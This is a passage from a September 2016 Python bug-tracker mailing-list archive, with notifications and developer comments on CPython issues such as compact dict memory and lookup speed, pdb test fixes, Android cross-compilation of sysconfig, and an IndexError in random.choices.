status: open
title: Warnings (45) building Doc/library/email.*.rst
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28057>
_______________________________________

From report at bugs.python.org  Sat Sep 10 00:46:01 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 10 Sep 2016 04:46:01 +0000
Subject: [issue28057] Warnings (45) building Doc/library/email.*.rst
In-Reply-To: <1473481965.13.0.517391626967.issue28057@psf.upfronthosting.co.za>
Message-ID: <1473482761.81.0.0161677062903.issue28057@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

Hmm.  I just touched both email.compat32-message.rst and email.message.rst and retried, and there was no problem.

----------
resolution:  -> not a bug
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28057>
_______________________________________

From report at bugs.python.org  Sat Sep 10 00:52:35 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 04:52:35 +0000
Subject: [issue26058] PEP 509: Add ma_version to PyDictObject
In-Reply-To: <1452331848.43.0.271164045437.issue26058@psf.upfronthosting.co.za>
Message-ID: <20160910045233.19326.12265.24D01680@psf.io>


Roundup Robot added the comment:

New changeset c3776dd858f0 by Victor Stinner in branch 'default':
Try to fix sizeof unit tests on dict
https://hg.python.org/cpython/rev/c3776dd858f0

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26058>
_______________________________________

From report at bugs.python.org  Sat Sep 10 00:52:35 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 04:52:35 +0000
Subject: [issue28056] sizeof unit tests fail on ARMv7
In-Reply-To: <1473481514.98.0.178433606231.issue28056@psf.upfronthosting.co.za>
Message-ID: <20160910045233.19326.13582.BC674B66@psf.io>


Roundup Robot added the comment:

New changeset c3776dd858f0 by Victor Stinner in branch 'default':
Try to fix sizeof unit tests on dict
https://hg.python.org/cpython/rev/c3776dd858f0

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28056>
_______________________________________

From report at bugs.python.org  Sat Sep 10 01:12:12 2016
From: report at bugs.python.org (Ned Deily)
Date: Sat, 10 Sep 2016 05:12:12 +0000
Subject: [issue28039] x86 Tiger buildbot needs __future__ with_statement
In-Reply-To: <1473407641.18.0.0923940651973.issue28039@psf.upfronthosting.co.za>
Message-ID: <1473484332.64.0.0373873645282.issue28039@psf.upfronthosting.co.za>


Ned Deily added the comment:

Thanks, David!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28039>
_______________________________________

From report at bugs.python.org  Sat Sep 10 01:13:24 2016
From: report at bugs.python.org (Stefan Behnel)
Date: Sat, 10 Sep 2016 05:13:24 +0000
Subject: [issue27899] Apostrophe is not replace with &apos;
 ElementTree.tostring (also in Element.write)
In-Reply-To: <1472577505.85.0.700751415342.issue27899@psf.upfronthosting.co.za>
Message-ID: <1473484404.84.0.588262392854.issue27899@psf.upfronthosting.co.za>


Stefan Behnel added the comment:

Definitely not a bug since this isn't required by the XML spec. As said in issue 2647, you shouldn't rely on exact lexical characteristics of an XML byte stream, unless you request canonical serialisation (C14N).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27899>
_______________________________________

From report at bugs.python.org  Sat Sep 10 01:27:19 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 05:27:19 +0000
Subject: [issue18401] Tests for pdb import ~/.pdbrc
In-Reply-To: <1373261746.39.0.598108958249.issue18401@psf.upfronthosting.co.za>
Message-ID: <20160910052716.48696.40317.4FE8CF7D@psf.io>


Roundup Robot added the comment:

New changeset ee0bbfd972de by ?ukasz Langa in branch 'default':
Issue #18401: pdb tests don't read ~/.pdbrc anymore
https://hg.python.org/cpython/rev/ee0bbfd972de

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18401>
_______________________________________

From report at bugs.python.org  Sat Sep 10 01:27:53 2016
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Sat, 10 Sep 2016 05:27:53 +0000
Subject: [issue18401] Tests for pdb import ~/.pdbrc
In-Reply-To: <1373261746.39.0.598108958249.issue18401@psf.upfronthosting.co.za>
Message-ID: <1473485273.75.0.0251680500709.issue18401@psf.upfronthosting.co.za>


?ukasz Langa added the comment:

Thanks for your contribution, Martin and Sam!

----------
nosy: +lukasz.langa
resolution:  -> fixed
status: open -> closed
versions: +Python 3.6 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18401>
_______________________________________

From report at bugs.python.org  Sat Sep 10 01:44:20 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sat, 10 Sep 2016 05:44:20 +0000
Subject: [issue27931] Email parse IndexError <""@wiarcom.com>
In-Reply-To: <1472743779.07.0.918992764498.issue27931@psf.upfronthosting.co.za>
Message-ID: <1473486260.13.0.166767612844.issue27931@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

You are right David. But I don't understand what it has to do with headerregistry. I update my original patch to get that behaviour, limit it the affection in angleaddr. Now seems everything is fine.

>>> email._header_value_parser.get_angle_addr('<""@wiarcom.com> SIZE=28113')[0].local_part
''
>>> email._header_value_parser.get_angle_addr('<""@wiarcom.com> SIZE=28113')[0].domain
'wiarcom.com'
>>> email._header_value_parser.get_angle_addr('<""@wiarcom.com> SIZE=28113')[0].route
>>> email._header_value_parser.get_angle_addr('<""@wiarcom.com> SIZE=28113')[0].addr_spec
'""@wiarcom.com'

----------
Added file: http://bugs.python.org/file44523/issue27931_v2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27931>
_______________________________________

From report at bugs.python.org  Sat Sep 10 01:57:07 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 05:57:07 +0000
Subject: [issue18401] Tests for pdb import ~/.pdbrc
In-Reply-To: <1373261746.39.0.598108958249.issue18401@psf.upfronthosting.co.za>
Message-ID: <20160910055704.87446.42964.1F52EB6D@psf.io>


Roundup Robot added the comment:

New changeset 09c730db1aac by Victor Stinner in branch 'default':
Issue #18401: Fix test_pdb if $HOME is not set
https://hg.python.org/cpython/rev/09c730db1aac

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18401>
_______________________________________

From report at bugs.python.org  Sat Sep 10 02:14:53 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 06:14:53 +0000
Subject: [issue27938] PyUnicode_AsEncodedString,
 PyUnicode_Decode: add fast-path for "us-ascii" encoding
In-Reply-To: <1472811574.16.0.472581628747.issue27938@psf.upfronthosting.co.za>
Message-ID: <20160910061450.69505.40931.BAB58A5A@psf.io>


Roundup Robot added the comment:

New changeset 3b185df3a3e2 by Victor Stinner in branch 'default':
Fix check_force_ascii()
https://hg.python.org/cpython/rev/3b185df3a3e2

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27938>
_______________________________________

From report at bugs.python.org  Sat Sep 10 02:22:33 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 06:22:33 +0000
Subject: [issue18401] Tests for pdb import ~/.pdbrc
In-Reply-To: <1373261746.39.0.598108958249.issue18401@psf.upfronthosting.co.za>
Message-ID: <20160910062229.12454.35128.6BAAE931@psf.io>


Roundup Robot added the comment:

New changeset 5aa77974dd56 by Victor Stinner in branch 'default':
Issue #18401: Fix test_pdb on Windows
https://hg.python.org/cpython/rev/5aa77974dd56

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18401>
_______________________________________

From report at bugs.python.org  Sat Sep 10 02:31:32 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 10 Sep 2016 06:31:32 +0000
Subject: [issue27938] PyUnicode_AsEncodedString,
 PyUnicode_Decode: add fast-path for "us-ascii" encoding
In-Reply-To: <1472811574.16.0.472581628747.issue27938@psf.upfronthosting.co.za>
Message-ID: <1473489092.15.0.790893662993.issue27938@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> New changeset 3b185df3a3e2 by Victor Stinner in branch 'default':
> Fix check_force_ascii()
> https://hg.python.org/cpython/rev/3b185df3a3e2

@koobs: That's my tiny gift for your birthday. Happy Birthday! ;-) (It should fix FreeBSD buildbots.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27938>
_______________________________________

From report at bugs.python.org  Sat Sep 10 02:33:25 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 10 Sep 2016 06:33:25 +0000
Subject: [issue27938] PyUnicode_AsEncodedString,
 PyUnicode_Decode: add fast-path for "us-ascii" encoding
In-Reply-To: <1472811574.16.0.472581628747.issue27938@psf.upfronthosting.co.za>
Message-ID: <1473489205.27.0.885258384862.issue27938@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Sorry for the little breakage of FreeBSD buildbots, it seems to be ok now ;-)

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27938>
_______________________________________

From report at bugs.python.org  Sat Sep 10 02:34:11 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 10 Sep 2016 06:34:11 +0000
Subject: [issue28042] Coverity Scan defects in new dict code
In-Reply-To: <1473419470.64.0.526476875615.issue28042@psf.upfronthosting.co.za>
Message-ID: <1473489251.11.0.358460850395.issue28042@psf.upfronthosting.co.za>


Christian Heimes added the comment:

No problem, you can apply for membership at https://scan.coverity.com/projects/python . I'll approve you later today.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28042>
_______________________________________

From report at bugs.python.org  Sat Sep 10 02:39:33 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 10 Sep 2016 06:39:33 +0000
Subject: [issue28042] Coverity Scan defects in new dict code
In-Reply-To: <1473419470.64.0.526476875615.issue28042@psf.upfronthosting.co.za>
Message-ID: <1473489573.8.0.744238300858.issue28042@psf.upfronthosting.co.za>


STINNER Victor added the comment:

>>>     "&mp->ma_keys->dk_indices.as_1[mp->ma_keys->dk_size * ((mp->ma_keys->dk_size <= 255L) ? 1UL : ((mp->ma_keys->dk_size <= 65535L) ? 2UL : ((mp->ma_keys->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.

Oh. That's why dictobject.c uses a trick. The C structure uses a fixed buffer of 8 bytes, but the actual allocated memory block has the right size. All these warnings are false positive, don't worry :-)

We might use C99 "buffer[]" syntax, remove dk_indices from the structure, ignore the false alarm, or write a Coverity model for this one. Right now, I would prefer to not touch the C code just for a false alarm ;-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28042>
_______________________________________

From report at bugs.python.org  Sat Sep 10 02:46:28 2016
From: report at bugs.python.org (Ethan Furman)
Date: Sat, 10 Sep 2016 06:46:28 +0000
Subject: [issue24254] Make class definition namespace ordered by default
In-Reply-To: <1432186488.39.0.20621749373.issue24254@psf.upfronthosting.co.za>
Message-ID: <1473489988.37.0.702441245646.issue24254@psf.upfronthosting.co.za>


Ethan Furman added the comment:

Not having a __definition_order__ could be a disadvantage for classes making use of __getattr__ for virtual attributes, such as Enum and proxy classes.

With __definition_order__, and __dir__, Enum could present a coherent view; without it it's a big jumbled mess with many attributes the user never wrote.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24254>
_______________________________________

From report at bugs.python.org  Sat Sep 10 02:48:15 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 10 Sep 2016 06:48:15 +0000
Subject: [issue27350] Compact and ordered dict
In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za>
Message-ID: <1473490095.71.0.301513730006.issue27350@psf.upfronthosting.co.za>


STINNER Victor added the comment:

It seems like the memory usage is between 20% and 25% smaller. Great job!

Memory usage, Python 3.5 => Python 3.6 on Linux x86_64:

./python -c 'import sys; print(sys.getsizeof({str(i):i for i in range(10)}))'

* 10 items: 480 B => 384 B (-20%)
* 100 items: 6240 B => 4720 B (-24%)
* 1000 items: 49248 B => 36984 B (-25%)

Note: the size is the the size of the container itself, not of keys nor values.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27350>
_______________________________________

From report at bugs.python.org  Sat Sep 10 02:49:51 2016
From: report at bugs.python.org (Martin Panter)
Date: Sat, 10 Sep 2016 06:49:51 +0000
Subject: [issue24363] httplib fails to handle semivalid HTTP headers
In-Reply-To: <1433257563.79.0.772954216205.issue24363@psf.upfronthosting.co.za>
Message-ID: <1473490191.49.0.589851864749.issue24363@psf.upfronthosting.co.za>


Martin Panter added the comment:

Here is a fix using a policy flag. I called it ?_py_body_detached?.

----------
Added file: http://bugs.python.org/file44524/policy-flag.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24363>
_______________________________________

From report at bugs.python.org  Sat Sep 10 02:54:45 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 06:54:45 +0000
Subject: [issue28019] itertools.count() falls back to fast (integer) mode when
 step rounds to 1
In-Reply-To: <1473338912.37.0.468562809295.issue28019@psf.upfronthosting.co.za>
Message-ID: <20160910065438.69908.66121.8C84A48F@psf.io>


Roundup Robot added the comment:

New changeset b23f963a7b45 by Serhiy Storchaka in branch '3.5':
Issue #28019: itertools.count() no longer rounds non-integer step in range
https://hg.python.org/cpython/rev/b23f963a7b45

New changeset 74667320778e by Serhiy Storchaka in branch '2.7':
Issue #28019: Backported additional tests for itertools.count().
https://hg.python.org/cpython/rev/74667320778e

New changeset 51dfab4f28e7 by Serhiy Storchaka in branch 'default':
Issue #28019: itertools.count() no longer rounds non-integer step in range
https://hg.python.org/cpython/rev/51dfab4f28e7

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28019>
_______________________________________

From report at bugs.python.org  Sat Sep 10 02:55:41 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Sat, 10 Sep 2016 06:55:41 +0000
Subject: [issue26942] android: test_ctypes crashes on armv7 and aarch64
In-Reply-To: <1462290789.53.0.483745295219.issue26942@psf.upfronthosting.co.za>
Message-ID: <1473490541.85.0.297983295611.issue26942@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

Since issue27976, this one can be closed as third-party, just like issue27323.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26942>
_______________________________________

From report at bugs.python.org  Sat Sep 10 02:55:48 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 10 Sep 2016 06:55:48 +0000
Subject: [issue24254] Make class definition namespace ordered by default
In-Reply-To: <1473489988.37.0.702441245646.issue24254@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwa+W8CfF2s46Z6d+4QbOs+WeYVVgeZRw42V6EArYRb8vQ@mail.gmail.com>


STINNER Victor added the comment:

You should reopen the discussion on python-dev, since the PEP 520 has
been accepted with:

"Note: Since compact dict has landed in 3.6, __definition_order__ has
been removed. cls.__dict__ now mostly accomplishes the same thing
instead."

The PEP status is now Final.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24254>
_______________________________________

From report at bugs.python.org  Sat Sep 10 02:56:23 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Sat, 10 Sep 2016 06:56:23 +0000
Subject: [issue27979] Remove bundled libffi
In-Reply-To: <1473188019.08.0.865772494221.issue27979@psf.upfronthosting.co.za>
Message-ID: <1473490583.19.0.0879204192768.issue27979@psf.upfronthosting.co.za>


Changes by Chi Hsuan Yen <yan12125 at gmail.com>:


----------
nosy: +Chi Hsuan Yen

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27979>
_______________________________________

From report at bugs.python.org  Sat Sep 10 03:04:56 2016
From: report at bugs.python.org (Martin Panter)
Date: Sat, 10 Sep 2016 07:04:56 +0000
Subject: [issue23545] Turn on extra warnings on GCC
In-Reply-To: <1425076183.98.0.20319163057.issue23545@psf.upfronthosting.co.za>
Message-ID: <1473491096.53.0.279985845097.issue23545@psf.upfronthosting.co.za>


Martin Panter added the comment:

Can one of the -Wall flags be dropped? What is the difference between $OPT and $CFLAGS_NODIST?

gcc -pthread -c -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes    -std=c99 -Wall -Wextra -Wno-unused-result -Wno-unused-parameter -Wno-missing-field-initializers   -I. -IInclude -I./Include    -DPy_BUILD_CORE -o Programs/python.o ./Programs/python.c

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23545>
_______________________________________

From report at bugs.python.org  Sat Sep 10 03:05:47 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 10 Sep 2016 07:05:47 +0000
Subject: [issue27350] Compact and ordered dict
In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za>
Message-ID: <1473491147.03.0.62248228542.issue27350@psf.upfronthosting.co.za>


STINNER Victor added the comment:

As I expected, a dictionary lookup is a _little bit_ slower (3%) between Python 3.5 and Python 3.6:

$ ./python -m perf timeit -s 'd={str(i):i for i in range(100)}' 'd["10"]; d["20"]; d["30"]; d["40"]; d["50"]; d["10"]; d["20"]; d["30"]; d["40"]; d["50"]' --rigorous

Median +- std dev: [lookup35] 309 ns +- 10 ns -> [lookup36] 320 ns +- 8 ns: 1.03x slower

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27350>
_______________________________________

From report at bugs.python.org  Sat Sep 10 03:11:34 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 10 Sep 2016 07:11:34 +0000
Subject: [issue28019] itertools.count() falls back to fast (integer) mode when
 step rounds to 1
In-Reply-To: <1473338912.37.0.468562809295.issue28019@psf.upfronthosting.co.za>
Message-ID: <1473491494.59.0.713608855691.issue28019@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28019>
_______________________________________

From report at bugs.python.org  Sat Sep 10 03:16:31 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 10 Sep 2016 07:16:31 +0000
Subject: [issue18401] Tests for pdb import ~/.pdbrc
In-Reply-To: <1373261746.39.0.598108958249.issue18401@psf.upfronthosting.co.za>
Message-ID: <1473491791.75.0.585265244175.issue18401@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

(Copied from my post to python-checkins.)
On Windows, HOME is spelled USERPROFILE or ,HOMEDRIVE + HOMEPATH.  These are set by default on Windows.  The OS specific os.path.expanduser('~') deals with this difference.  I don't know what you are testing exactly, but I believe cross-platform modules should use the latter instead of the *NIX-specific HOME.

----------
nosy: +terry.reedy

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18401>
_______________________________________

From report at bugs.python.org  Sat Sep 10 03:21:00 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 10 Sep 2016 07:21:00 +0000
Subject: [issue27350] Compact and ordered dict
In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za>
Message-ID: <1473492060.19.0.407837831378.issue27350@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

There are a lot of other changes in interpreter core between 3.5 and 3.5 (such as new bytecode and optimized function calls). Could you compare the performance between the version just before adding new dict implementation and the version just after this?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27350>
_______________________________________

From report at bugs.python.org  Sat Sep 10 03:29:35 2016
From: report at bugs.python.org (Christoph Reiter)
Date: Sat, 10 Sep 2016 07:29:35 +0000
Subject: [issue27971] utf-16 decoding can't handle lone surrogates
In-Reply-To: <1473155983.16.0.820045644056.issue27971@psf.upfronthosting.co.za>
Message-ID: <1473492575.84.0.562431169787.issue27971@psf.upfronthosting.co.za>


Christoph Reiter added the comment:

Closing as wontfix if there are concerns regarding compatibility seems fine to me.

Thanks for looking into this.

I've also found a workaround for my usecase in the meantime: https://github.com/lazka/senf/commit/b7dadb05a29db5f0d74f659971b0a86d5e579028

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27971>
_______________________________________

From report at bugs.python.org  Sat Sep 10 03:30:59 2016
From: report at bugs.python.org (Ed Schouten)
Date: Sat, 10 Sep 2016 07:30:59 +0000
Subject: [issue28058] [Patch] Don't use st_uid and st_gid on CloudABI
Message-ID: <1473492659.2.0.816562510878.issue28058@psf.upfronthosting.co.za>


New submission from Ed Schouten:

CloudABI is a UNIX-like runtime environment that uses a capability-based security model. As there is no support for traditional UNIX credentials (uid_t, gid_t), its struct stat doesn't provide st_uid and st_gid.

Python can already deal with the absence of these fields, as it also needs to treat Windows similarly. Attached is a patch that simply adds CloudABI to the relevant '#if' in posixmodule.c.

----------
components: Extension Modules
files: patch-st_uid-st_gid
messages: 275591
nosy: EdSchouten
priority: normal
severity: normal
status: open
title: [Patch] Don't use st_uid and st_gid on CloudABI
versions: Python 3.7
Added file: http://bugs.python.org/file44525/patch-st_uid-st_gid

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28058>
_______________________________________

From report at bugs.python.org  Sat Sep 10 03:36:12 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Sat, 10 Sep 2016 07:36:12 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <1473492972.7.0.771333984134.issue28046@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

Seems after this changeset Python is broken:

shell at ASUS_Z00E_2:/data/local/tmp/python3 $ python3.6
Failed to import the site module
Traceback (most recent call last):
  File "/data/local/tmp/python3/lib/python3.6/site.py", line 549, in <module>
    main()
  File "/data/local/tmp/python3/lib/python3.6/site.py", line 536, in main
    known_paths = addusersitepackages(known_paths)
  File "/data/local/tmp/python3/lib/python3.6/site.py", line 281, in addusersitepackages
    user_site = getusersitepackages()
  File "/data/local/tmp/python3/lib/python3.6/site.py", line 257, in getusersitepackages
    user_base = getuserbase() # this will also set USER_BASE
  File "/data/local/tmp/python3/lib/python3.6/site.py", line 247, in getuserbase
    USER_BASE = get_config_var('userbase')
  File "/data/local/tmp/python3/lib/python3.6/sysconfig.py", line 600, in get_config_var
    return get_config_vars().get(name)
  File "/data/local/tmp/python3/lib/python3.6/sysconfig.py", line 549, in get_config_vars
    _init_posix(_CONFIG_VARS)
  File "/data/local/tmp/python3/lib/python3.6/sysconfig.py", line 420, in _init_posix
    _temp = __import__(name, globals(), locals(), ['build_time_vars'], 0)
ModuleNotFoundError: No module named '_sysconfigdata_m_linux_aarch64-linux-android'

sysconfig data is installed as lib-dynload/_sysconfigdata_m_linux_x86_64-linux-gnu.py. It should be at lib-dynload/_sysconfigdata_m_linux_aarch64-linux-android.py?

PS: I'm building for Android AArch64 on Linux x86_64

----------
nosy: +Chi Hsuan Yen

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Sat Sep 10 03:37:22 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Sat, 10 Sep 2016 07:37:22 +0000
Subject: [issue28018] Cross compilation fails in regen
In-Reply-To: <1473333982.06.0.308212142461.issue28018@psf.upfronthosting.co.za>
Message-ID: <1473493042.29.0.764324629826.issue28018@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

Closing, regen is not used anymore after issue28046 landed.

----------
resolution:  -> not a bug
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28018>
_______________________________________

From report at bugs.python.org  Sat Sep 10 03:54:05 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 10 Sep 2016 07:54:05 +0000
Subject: [issue24567] random.choice IndexError due to double-rounding
In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za>
Message-ID: <1473494045.22.0.72285980455.issue24567@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

A similar bug affects the new `choices` method: in the `choices` source, if `random() * total` happens to round up to `total`, the bisect call returns an out-of-range index.

There are two ways that that could happen: (1) double rounding, as in this issue (which will occur very rarely and is hard to reproduce), and (2) `total` being subnormal (easy to reproduce, but unlikely to occur in practice).

>>> from random import choices
>>> choices(500, population=[1, 2], weights=[1e-323, 1e-323])
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/Users/mdickinson/Python/cpython/Lib/random.py", line 360, in choices
    return [population[bisect(cum_weights, random() * total)] for i in range(k)]
  File "/Users/mdickinson/Python/cpython/Lib/random.py", line 360, in <listcomp>
    return [population[bisect(cum_weights, random() * total)] for i in range(k)]
IndexError: list index out of range

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24567>
_______________________________________

From report at bugs.python.org  Sat Sep 10 04:08:02 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 08:08:02 +0000
Subject: [issue27829] test.regrtest: changed environment variables are not
 logged
In-Reply-To: <1471868275.54.0.211153776881.issue27829@psf.upfronthosting.co.za>
Message-ID: <20160910080751.69465.287.9DB952E7@psf.io>


Roundup Robot added the comment:

New changeset 491bbba73bca by Victor Stinner in branch 'default':
Show regrtest env changed warn on Windows buildbot
https://hg.python.org/cpython/rev/491bbba73bca

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27829>
_______________________________________

From report at bugs.python.org  Sat Sep 10 04:13:18 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 10 Sep 2016 08:13:18 +0000
Subject: [issue28059] Windows: test_platform.test_architecture_via_symlink()
 regression
Message-ID: <1473495198.34.0.418731997358.issue28059@psf.upfronthosting.co.za>


New submission from STINNER Victor:

It looks like test_platform started to fail on AMD64 Windows10 3.x between build 1456 (success) and 1458 (failure, 1457 was interrupted or something like that).

The regression may be related to the issue #27932, change 31b7eaff5588.

http://buildbot.python.org/all/builders/AMD64%20Windows10%203.x/builds/1458/steps/test/logs/stdio

======================================================================
FAIL: test_architecture_via_symlink (test.test_platform.PlatformTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "D:\buildarea\3.x.bolen-windows10\build\lib\test\test_platform.py", line 33, in test_architecture_via_symlink
    self.assertEqual(get(real), get(link))
AssertionError: Tuples differ: (b"('64bit', 'WindowsPE')\r\n", None) != (b'', None)

First differing element 0:
b"('64bit', 'WindowsPE')\r\n"
b''

- (b"('64bit', 'WindowsPE')\r\n", None)
+ (b'', None)

----------------------------------------------------------------------

----------
components: Windows
messages: 275596
nosy: haypo, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Windows: test_platform.test_architecture_via_symlink() regression

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28059>
_______________________________________

From report at bugs.python.org  Sat Sep 10 04:13:51 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 10 Sep 2016 08:13:51 +0000
Subject: [issue28056] sizeof unit tests fail on ARMv7
In-Reply-To: <1473481514.98.0.178433606231.issue28056@psf.upfronthosting.co.za>
Message-ID: <1473495231.37.0.188361659791.issue28056@psf.upfronthosting.co.za>


STINNER Victor added the comment:

According to buildbots, the issue seems to be fixed.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28056>
_______________________________________

From report at bugs.python.org  Sat Sep 10 04:15:06 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 10 Sep 2016 08:15:06 +0000
Subject: [issue16202] sys.path[0] security issues
In-Reply-To: <1349986223.57.0.879834971708.issue16202@psf.upfronthosting.co.za>
Message-ID: <1473495306.71.0.235369619304.issue16202@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Reviewing the issue, I think there's still an open question regarding the way distutils handles generated script execution that may impact setuptools as, so adding Jason to the nosy list.

For the "don't set sys.path[0] by default" aspect, we would need a different executable that uses more paranoid defaults, which would be contingent on the PEP 432 startup refactoring landing for 3.7 (as too much behaviour is currently embedded inside Py_Main for alternate defaults to be reasonably maintained).

----------
nosy: +jason.coombs

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16202>
_______________________________________

From report at bugs.python.org  Sat Sep 10 04:19:40 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Sat, 10 Sep 2016 08:19:40 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <1473495580.99.0.947169063268.issue28046@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

Got it. When calling `python -m sysconfig --generate-posix-vars`, the host (Linux x86_64) Python is used, so _get_sysconfigdata_name() returns the name for Linux instead of for Android. Maybe _get_sysconfigdata_name() should check whether it's used for cross-compiling or not.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Sat Sep 10 04:27:49 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 10 Sep 2016 08:27:49 +0000
Subject: [issue27292] Warn users that os.urandom() prior to 3.6 can return
 insecure values
In-Reply-To: <1465639674.0.0.865291084778.issue27292@psf.upfronthosting.co.za>
Message-ID: <1473496069.86.0.434402789307.issue27292@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

